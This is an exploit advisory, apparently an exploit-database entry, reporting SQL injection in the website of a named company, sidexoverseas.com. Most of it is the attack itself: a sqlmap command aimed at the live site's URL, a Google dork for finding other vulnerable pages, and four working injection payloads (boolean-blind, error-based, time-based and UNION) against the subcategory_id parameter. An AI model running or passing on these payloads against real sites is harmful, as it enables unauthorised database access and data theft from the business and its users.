****************************
#Exploit Title: SIDEXOVERSEAS - SQL Injection vulnerability
#Date: 2020-10-12
#Exploit Author: Mahdi Karimi
#Vendor Homepage: http://sidexoverseas.com
#Google Dork: products.php?sub=
#Tested On: windows 10
sqlmap:
sqlmap -u "http://sidexoverseas.com/products.php?subcategory_id=12&cat=7" --level=5 --risk=3 --dbs --random-agent
Testing Method;
- boolean-based blind
- time-based blind
- error-based
Parameter: subcategory_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: subcategory_id=12 AND 7494=7494&cat=7
Type: error-based
Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: subcategory_id=12 AND ROW(7528,8699)>(SELECT COUNT(*),CONCAT(0x7178626a71,(SELECT (ELT(7528=7528,1))),0x71786b7671,FLOOR(RAND(0)*2))x FROM (SELECT 5623 UNION SELECT 4099 UNION SELECT 3938 UNION SELECT 7395)a GROUP BY x)&cat=7
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: subcategory_id=12 AND (SELECT 1083 FROM (SELECT(SLEEP(5)))tyTx)&cat=7
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: subcategory_id=12 UNION ALL SELECT NULL,CONCAT(0x7178626a71,0x696579445650615148696f49634d677853684651484a79454a5652435171426b6e7a487266526455,0x71786b7671),NULL,NULL-- -&cat=7
**************************************************
#Discovered by: Mahdi Karimi
#Email : mjoker22mjoker22@gmail.com
**************************************************